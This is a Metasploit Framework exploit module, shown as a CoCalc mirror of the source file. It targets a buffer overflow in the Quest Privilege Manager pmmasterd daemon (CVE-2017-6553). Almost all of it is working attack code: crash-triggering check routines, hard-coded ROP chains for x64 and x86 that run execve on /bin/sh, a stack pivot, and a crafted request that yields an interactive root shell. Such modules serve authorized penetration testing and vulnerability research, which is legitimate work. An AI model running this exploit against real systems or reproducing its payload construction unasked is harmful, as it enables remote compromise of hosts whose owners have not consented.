Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/misc/quest_pmmasterd_bof.rb
19778 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Quest Privilege Manager pmmasterd Buffer Overflow',
16
'Description' => %q{
17
This modules exploits a buffer overflow in the Quest Privilege Manager,
18
a software used to integrate Active Directory with Linux and Unix
19
systems. The vulnerability exists in the pmmasterd daemon, and can only
20
triggered when the host has been configured as a policy server (
21
Privilege Manager for Unix or Quest Sudo Plugin). A buffer overflow
22
condition exists when handling requests of type ACT_ALERT_EVENT, where
23
the size of a memcpy can be controlled by the attacker. This module
24
only works against version < 6.0.0-27. Versions up to 6.0.0-50 are also
25
vulnerable, but not supported by this module (a stack cookie bypass is
26
required). NOTE: To use this module it is required to be able to bind a
27
privileged port ( <=1024 ) as the server refuses connections coming
28
from unprivileged ports, which in most situations means that root
29
privileges are required.
30
},
31
'Author' => [
32
'm0t'
33
],
34
'References' => [
35
['CVE', '2017-6553'],
36
['URL', 'https://0xdeadface.wordpress.com/2017/04/07/multiple-vulnerabilities-in-quest-privilege-manager-6-0-0-xx-cve-2017-6553-cve-2017-6554/']
37
],
38
'Payload' => {
39
'Compat' =>
40
{
41
'PayloadType' => 'cmd_interact',
42
'ConnectionType' => 'find'
43
}
44
},
45
'Arch' => ARCH_CMD,
46
'Platform' => 'unix',
47
'Targets' => [
48
[
49
'Quest Privilege Manager pmmasterd 6.0.0-27 x64',
50
{
51
exploit: :exploit_x64,
52
check: :check_x64
53
}
54
],
55
[
56
'Quest Privilege Manager pmmasterd 6.0.0-27 x86',
57
{
58
exploit: :exploit_x86,
59
check: :check_x86
60
}
61
]
62
],
63
'Privileged' => true,
64
'DisclosureDate' => '2017-04-09',
65
'DefaultTarget' => 0,
66
'Notes' => {
67
'Reliability' => UNKNOWN_RELIABILITY,
68
'Stability' => UNKNOWN_STABILITY,
69
'SideEffects' => UNKNOWN_SIDE_EFFECTS
70
}
71
)
72
)
73
74
register_options(
75
[
76
Opt::RPORT(12345),
77
Opt::CPORT(rand(1024))
78
]
79
)
80
end
81
82
# definitely not stealthy! sends a crashing request, if the socket dies, or
83
# the output is partial it assumes the target has crashed. Although the
84
# daemon spawns a new process for each connection, the segfault will appear
85
# on syslog
86
def check
87
unless respond_to?(target[:check], true)
88
fail_with(Failure::NoTarget, "Invalid target specified")
89
end
90
91
send(target[:check])
92
end
93
94
def exploit
95
unless respond_to?(target[:exploit], true)
96
fail_with(Failure::NoTarget, "Invalid target specified")
97
end
98
99
request = send(target[:exploit])
100
101
connect
102
print_status("Sending trigger")
103
sock.put(request)
104
sock.get_once
105
handler(sock)
106
disconnect
107
end
108
109
# server should crash after parsing the packet, partial output is returned
110
def check_x64
111
head = [ 0x26c ].pack("N")
112
head << [ 0x700 ].pack("N")
113
head << [ 0x700 ].pack("N")
114
head << "\x00" * 68
115
116
body = "PingE4.6 .0.0.27"
117
body << rand_text_alpha(3000)
118
119
request = head + body
120
121
connect
122
print_status("Sending trigger")
123
sock.put(request)
124
res = sock.timed_read(1024, 1)
125
if res.match? "Pong4$"
126
return Exploit::CheckCode::Appears
127
else
128
return Exploit::CheckCode::Unknown
129
end
130
end
131
132
# server should crash while parsing the packet, with no output
133
def check_x86
134
head = [ 0x26c ].pack("N")
135
head << [ 0x700 ].pack("N")
136
head << [ 0x700 ].pack("N")
137
head << "\x00" * 68
138
139
body = rand_text_alpha(3000)
140
141
request = head + body
142
143
connect
144
print_status("Sending trigger")
145
sock.put(request)
146
begin
147
sock.timed_read(1024, 1)
148
return Exploit::CheckCode::Unknown
149
rescue ::Exception
150
return Exploit::CheckCode::Appears
151
end
152
end
153
154
def exploit_x64
155
head = [ 0x26c ].pack("N")
156
head << [ 0x700 ].pack("N")
157
head << [ 0x700 ].pack("N")
158
head << "\x00" * 68
159
160
# rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)
161
ropchain = [
162
0x408f88, # pop rdi, ret
163
0x4FA215, # /bin/sh
164
0x40a99e, # pop rsi ; ret
165
0, # argv @rsi
166
0x40c1a0, # pop rax, ret
167
0, # envp @rax
168
0x48c751, # mov rdx, rax ; pop rbx ; mov rax, rdx ; ret
169
0xcacc013, # padding
170
0x408a98, # execve,
171
0
172
].pack("Q*")
173
174
body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES
175
body << rand_text_alpha(1600)
176
body << ropchain
177
body << rand_text_alpha(0x700 - body.size)
178
179
head + body
180
end
181
182
def exploit_x86
183
head = [ 0x26c ].pack("N")
184
head << [ 0x108 ].pack("N")
185
head << [ 0xcc ].pack("N")
186
head << "\x00" * 68
187
188
# rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)
189
ropchain = [
190
0x8093262, # ret
191
0x73, # cs reg
192
0x804AE2C, # execve,
193
0xcacc013, # padding
194
0x8136CF0, # /bin/sh
195
0,
196
0
197
].pack("V*")
198
199
pivotback = 0x08141223 # sub esp, ebx ; retf
200
writable = 0x81766f8 # writable loc
201
202
body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES
203
body << rand_text_alpha(104)
204
body << ropchain
205
body << rand_text_alpha(0xb4 - body.size)
206
body << [0x50].pack("V")
207
body << rand_text_alpha(0xc4 - body.size)
208
body << [pivotback].pack("V")
209
body << [writable].pack("V")
210
body << rand_text_alpha(0x108 - body.size)
211
212
head + body
213
end
214
end
215
216